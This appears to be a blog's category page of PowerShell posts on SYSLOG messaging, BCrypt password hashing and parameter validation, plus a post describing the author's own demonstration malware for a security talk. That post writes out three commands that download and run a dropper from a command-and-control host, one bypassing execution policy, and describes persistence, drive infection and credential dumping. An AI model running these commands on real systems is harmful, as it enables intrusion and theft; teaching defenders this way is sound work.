Subscribe
Search

Entries in coding (8)

Tuesday
Jul012014

Sending SYSLOG messages from PowerShell

I had this need to send some SYSLOG messages from PowerShell, and there are many reasons why you might want to do this one, from notifications to logging, SYSLOG can be very handy.

I looked around online and could not find a really simple and easy to use piece of code. There were some examples out there, but they were all a little rough around the edges, and I knew I could clean them up and improve upon their design.

Before we get to the code, let us take a quick look at the SYSLOG protocol. According to Wikipedia, the SYSLOG protocol was originally developed in the 1980s by Eric Allman as part of Sendmail and is now standardized by IETF in RFC5424.

A standard SYSLOG message consists of four things:

  1. A priority - how bad is it?
  2. A Timestamp - when is this occurring
  3. A hostname  - who is sending the message
  4. A Message  - kind of obvious

    One thing to note is that the priority is not that simple. The priority in the message is actually made of two things: the severity and the facility, or what the application or subsystem generating the message is. The levels are defined in the tables below:

    Facility Number Keyword Facility Description
    0 kern kernel messages
    1 user user-level messages
    2 mail mail system
    3 daemon system daemons
    4 auth security/authorization messages
    5 syslog messages generated internally by syslogd
    6 lpr line printer subsystem
    7 news network news subsystem
    8 uucp UUCP subsystem
    9
    clock daemon
    10 authpriv security/authorization messages
    11 ftp FTP daemon
    12 - NTP subsystem
    13 - log audit
    14 - log alert
    15 cron clock daemon
    16 local0 local use 0 (local0)
    17 local1 local use 1 (local1)
    18 local2 local use 2 (local2)
    19 local3 local use 3 (local3)
    20 local4 local use 4 (local4)
    21 local5 local use 5 (local5)
    22 local6 local use 6 (local6)
    23 local7 local use 7 (local7)

     

    and

    Code Severity Keyword Description General Description
    0 Emergency emerg (panic) System is unusable. A "panic" condition usually affecting multiple apps/servers/sites. At this level it would usually notify all tech staff on call.
    1 Alert alert Action must be taken immediately. Should be corrected immediately, therefore notify staff who can fix the problem. An example would be the loss of a primary ISP connection.
    2 Critical crit Critical conditions. Should be corrected immediately, but indicates failure in a secondary system, an example is a loss of a backup ISP connection.
    3 Error err (error) Error conditions. Non-urgent failures, these should be relayed to developers or admins; each item must be resolved within a given time.
    4 Warning warning (warn) Warning conditions. Warning messages, not an error, but indication that an error will occur if action is not taken, e.g. file system 85% full - each item must be resolved within a given time.
    5 Notice notice Normal but significant condition. Events that are unusual but not error conditions - might be summarized in an email to developers or admins to spot potential problems - no immediate action required.
    6 Informational info Informational messages. Normal operational messages - may be harvested for reporting, measuring throughput, etc. - no action required.
    7 Debug debug Debug-level messages. Info useful to developers for debugging the application, not useful during operations.

     

    There are 7 severity levels, and 24 facilities, however we only send a single number, the priority, and this is simply calculated as – (Facility Number * 8) + Severity Number.

    Here are a few examples:

    1. Emergency Message from Kernel = (0 * 8) + 0 = 0
    2. Alert from User = (1 * 8) + 1 = 9
    3. Informational from mail = (2 * 8) + 6 = 22

    When you look at a SYSLOG servers output, it probably has the severity levels and facilities nicely printed, all it is doing is reversing the process. For example, if we received a priority of 58, we would firstly divide 58 by 8, this comes out at 7.25, if we just take the whole number, we can see that this was a message from the NEWS facility, if we take 7*8 from 58, we get 2, and this, we know this was a critical severity message.

    As you can see, the whole thing is rather easy. The SYSLOG protocol is brilliant in its simplicity.

    So, back to PowerShell.

    If we were going to write a PowerShell CMDLet to send a SYSLOG message, what would it look like?

    Let us start with parameters. We are going to need to know the SYSLOG server we want to send the message to, we need a message to send, and we need to define the severity and facility that is sending the message. Optionally we might want to specify the hostname of the machine sending the message (we can get this if not specified), we might want to specify a timestamp (but we could get lazy) and finally our SYSLOG server might be running the service on a different port, so we should be able to specify the port if it is different from the default, UDP514.

    How do we go about specifying the severity and facility levels? We don’t want to force users to remember 0 through to 7 and 0 through to 23? We need to make this easier! How about some sort of data type? Thankfully, we can use ENUM types within PowerShell to define some simple data types and simplify specifying these parameters. If you don’t know about ENUMs, I suggest you do some Googling, they are very handy and quite useful.

    What would the ENUM definitions look like?

    For those of you who don't know, each item in the ENUM is assigned a number, starting with 0. We will use these numbers as part of our calculation of the priority.

    So once we have these data types defined, what's next? Let's take a look at parameters. Parameter's for a funciton are pretty straight forward, destination server, message, severity, facility, hostname, and date/time stamp are all we really need. In terms of mandatory parameters, only the first 4 are, we can determine the other two for the user.

    What's next? Well, what about determining the priority to be sent based upon severity and facility?

    The only other tricky part is the date/timestamp, but once again, that isn't too tricky. We just use Get-Date and a custom specified format.

    Finally let's stick it all together:

    Well we now have a message to send to the syslog server? Well all that is left to do is encode and send the message using a UDP client object.

    The finished CMDLet looks like this:

    You can also see the finished product on my GitHub. I built a module based upon my prefered structure here.

    As you can see, this is all pretty simple stuff. Now we get to go off and user it in your scripts! Using this CMDLet is pretty simple, there is an example included in the comments. Simply specify the various details, and then check your SYSLOG server to see the results.

    Stay tuned into my blog for a non-PowerShell post about some issues I recently faced with Windows Integrated Authentication.

    Friday
    Apr122013

    Password Hashing with BCrypt and PowerShell - Part 2

    Welcome back. So last time we covered some basics on hashing passwords, this time we will get into some code.

    What I like about BCrypt.Net, is that I don’t really need to think to hard about what I am trying to do; all of the hard work has been done for me. It provides us with basically every function we could possibly desire, more importantly, it provides more functions than we really need, to the extent that I feel it provides enough functions for you to make a very poor implementation if you so desired.

    In the bCrypt .Net we have the following functions available to us, and in my PowerShell implementation, I have made some of these available to us. In case you wondered, here is the list of methods bCrypt.Net provides:

    • GenerateSalt
    • HashPassword
    • HashString – Alias for HashPassword
    • Verify

    What is the verify method you ask? Well this is a very cool method. You provide the method a plain text string (someone’s password as input on a login form) and a hash. It will then go off and hash the input, and compare the two, returning true if they do. This method does all the work, it can find the workload factor, the salt and do all the comparisons. All so simple and easy.

    So what do my CMDLet’s look like?

    This is how I have defined by CMDLets:

    • Get-BCryptSalt = GenerateSalt
    • Get-BCryptHash = HashPassword
    • Test-BCryptHash = Verify

    Well let’s cover off how we make bCrypt available to powershell. Firstly we need to add the .net classes/types to the PowerShell environment using the add-type cmdlet. For example:

    Add-Type -Path C:\files\bcrypt\BCrypt.Net.dll

    Once that has been done, we can go ahead and use the cmdlets.

    Here is our salt cmdlet:

    And hashing cmdlet:

     

    And the verify cmdlet:

    So, lets talk a little about the simple code we are seeing. See the lines like "[bcrypt.net.bcrypt]::hashpassword($InputString, $WorkFactor)", well what we are doing here is calling the hashpassword method, from the class bcrypt, in the .net namespace bcrypt.net. This is simple, because the method is a static method for the class (if it wasn't, we would need an object instance).

    Finally the module:

    So let's look at some examples of how to use what we have learnt:

     

    Wednesday
    Mar062013

    PowerShell Malware

    I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.

    Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.

    Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.

    I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.

    The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.

    One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.

    So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…

    Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.

    In my presentation, the attacker tricked users into running one of three commands:

    1.

    @powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

    2.

    @powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

     

    3.

    @powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"

    The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.

    The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.

    The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.

    So far, things are simple; now let us look at the dropper's code:

     

    Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:

    1. 1.       Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
    2. 2.       Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
    3. 3.       Imports the two scheduled tasks using schtasks.exe
    4. 4.       Runs the two scheduled tasks using schtasks.exe

    All very simple for a dropper script.

    Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.

    The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:

    The invoke-candc.ps1 script performs the following steps:

    1. 1.       Creates a file containing the running process and installed services, it then uploads this to the C2 server
    2. 2.       Downloads a list of tasks to be completed from the C2 server
    3. 3.       Reads a file containing the id numbers of previously run tasks
    4. 4.       From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
    5. 5.       It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file

    Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:

    • Download and upload files
    • Download PwdumpX and other password dump tools
    • Run PowerShell Scripts

    As you can see, it is all very simple.

    I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.

     

    Sunday
    Feb102013

    Advanced Parameter Validation (revisiting get-filehash)

    I am currently working on the rebuild of my template for all of my PowerShell scripts, trying to do things "better" this time around. I have learnt a few things over the last hour, one of which I don't understand (but everything works if I do it, so I will keep doing it), and another I just had to write about.

    What is the great new thing? Well I wish i had known about it earlier, its the advanced parmater validation features.

    Let's take a look at the first few lines of the get-filehash (original article, update) method I wrote about previously.

    Now, I removed the comment based help syntax for brevity, but it is a little long, and there is the annoying enum defining the valid hash values to deal with as well, and then the section validating the file is a path etc. What if we could clean this all up?

    Lets see:

    Its a lot cleaner!

    What we have is a ValidateScript, which is performing a test-path on the input. I am using the -pathtype 'leaf' to ensure we are hashing a file, not a folder. Then we have a ValidateSet, here we are saying, lets confirm the value for that parameter is in this array.

    If either of these validations fail, we will get an error message along the lines of:

    Get-FileHash : Cannot validate argument on parameter 'File'. The "Test-Path $_ -PathType 'leaf'" validation script for
    the argument with value "D:\WIP\powershell\FileHash\filehash.jljdklf" did not return true. Determine why the
    validation script failed and then try the command again.
    At line:1 char:20
    + Get-FileHash -File D:\WIP\powershell\FileHash\filehash.jljdklf
    +                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : InvalidData: (:) [Get-FileHash], ParameterBindingValidationException
        + FullyQualifiedErrorId : ParameterArgumentValidationError,Get-FileHash
    Get-FileHash : Cannot validate argument on parameter 'File'. The "Test-Path $_ -PathType 'leaf'" validation script forthe argument with value "D:\WIP\powershell\FileHash\filehash.jljdklf" did not return true. Determine why thevalidation script failed and then try the command again.At line:1 char:20+ Get-FileHash -File D:\WIP\powershell\FileHash\filehash.jljdklf+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : InvalidData: (:) [Get-FileHash], ParameterBindingValidationException    + FullyQualifiedErrorId : ParameterArgumentValidationError,Get-FileHash

     

    Not bad is it?

    Another option to check out is ValidateRange. As you can guess, it allows you to validate the parameter against a range. An example would be [ValidateRange(1,10)], which will validate the paramater to ensure it is between 1 and 10! 

    Here is the new get-filehash in full...

    Saturday
    Feb092013

    Note on PowerShell/Web Series

    Just a quick note on the current series I am running on accessing the Internet from PowerShell. If you are looking at PowerShell V3, you will note the invoke-webrequest CMDLet. Whilst it is probably a million times more powerful than my humble set of web functions, it can be a little complicated. I am going to explore it over the coming weeks, and will report back my findings.